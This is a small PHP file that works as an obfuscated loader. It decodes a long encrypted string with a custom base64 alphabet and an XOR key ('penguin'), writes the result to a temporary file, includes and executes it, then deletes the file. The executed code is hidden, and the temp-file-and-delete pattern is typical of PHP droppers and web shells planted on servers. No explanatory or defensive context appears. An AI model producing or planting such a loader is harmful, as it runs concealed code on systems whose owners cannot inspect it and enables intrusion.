?
<?php
$encrypted = 'TFoeDwVkZFQBAQQABAseETwIGh1OTUUcAhQFHhERBk8SDBoTEgpPXEBVfW9KEgUFAREBPgYBAU5NRQcUBgwaWEExIDA9NVcVDxMdTjNZRVFHUTYpNTE1QAUIGhhCM0dPSUoUCg0SGAwABDcBCAFSY3pBGxcZBg8UNQ8THUlTUBYaFSobCwAJDwQQQTVXSklLVU4yLEIzS1UtJyIgLTM6OzcvNis3NDsvJCo8S1VNGwAJAQYROQ8EDUdceGNjegwIR11IBwM6Cg4HQUoFFQIIFA0-EREGTlxJFX1vTkdVSQoZAEZFpfS-xbXat8u50aHmv-ak677ItdK2_rnXULXRtva47KHpTrfCud6g1r_npOq-x7XUt81JRqDYvtJVudqg3b_npdy-yrTst8u47qDdv-hcR0xZXmNtCGRkfW8HAVVBSi82KzUjLDwrQjwiJDwrIzExKjA9Jj8hSTpVVFNNRUk3Ojo6V0VIQVUAHQMAGk9RNig5KSs0Lk4bAAkBBhEMCi8DBwsQGkktTEdHDmRkUEVOR1EPBxwAHUdISUovIycrMDo1VxAeCxoIChUBMQEcBQsDQjNceGNjekVOR1UPAQJFRkMcSVNQVVVHUQBOTEUNCAAHGlhBCA4ZDB0rQgAGGAxJLUxVR1EARVtMThx4Y05QRU5HVUlOGQNOT1EPBxwAHTxSDBwCChxAKDJKGThOWkhUTiU1Iig0LTE1Nzw4OiJHUB5jbVVJTlBFTkdVSU5QRUoBHAULHgQDAlVUThIEHQIbCAMVTUoBHAULAz5JCRQEC1c4NUMcNEdLaGRHVUlOUEVOR1VJTlBBGgoFJw8dAE5aVU0IGQkLFC5OGh0VMQkUBAtXODVDHDRVfW9OR1VJTlBFTkdVSU5UAQsUAQAAEREHCBtJU1BBGxcZBg8UNQ8THUlAUCEnNTAqOj83NzgmLD4xNy8zOjtOXkVKARwFCx4EAwJOZGR9b05HVUlOUEVOR1VJThkDTk8YBhgVOhsXGQYPFAAKOBMAAhVNShMYGSARCAtLVU0KFRYaDhsIGhkKAE5cSRV9b05HVUlOUEVOR1VJTlBFTkcQCgYfRUy30bneoNy-3FVOShYMAgIbCAMVQk629rjvoNq-0qThvs210Eel3r7Atd229bjtoNO-0qXUQEwHHFlXUmN6RU5HVUlOUEVOR1VJE1AAAhQQSRV9b05HVUlOUEVOR1VJTlBFTkcQCgYfRUy367jmoN2-1qXTvsBFvtik6b7IRb7Qpdm-w7Tutva52aDfvtJVTkoWDAICGwgDFUJAWxcbUFJeY21VSU5QRU5HVUlOUEUTan9JTlBFTkdVSRNQAAIUEEkVfW9OR1VJTlBFTkdVSU4VBgYIVUu-7rTmt82536DfvtdVudmg1b7UpOm_87XZt8-51lC06rfFudeg3r7XVU4VVAMHCxAaNVcLDwoQTjMrQQc6CE5OWLXUt8u52kpFFUMTAAIVFjVAEBscHxdJOi5NBy0YR0lJCxxOR1Vqf0lOUEVOR1VJE31vTkdVSRN9bxNqf1ZQfW8';
if (!function_exists('buffalo')) {
function buffalo($data, $key) {
$alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
$bin = '';
for ($i = 0; $i < strlen($data); $i++) {
$index = strpos($alphabet, $data[$i]);
$bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
}
$bytes = '';
for ($i = 0; $i < strlen($bin); $i += 8) {
$chunk = substr($bin, $i, 8);
if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
$bytes .= chr(bindec($chunk));
}
$res = '';
$klen = strlen($key);
for ($i = 0; $i < strlen($bytes); $i++) {
$res .= $bytes[$i] ^ $key[$i % $klen];
}
return $res;
}
}
file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), buffalo($encrypted, 'penguin'));
include $tmp;
unlink($tmp);
?>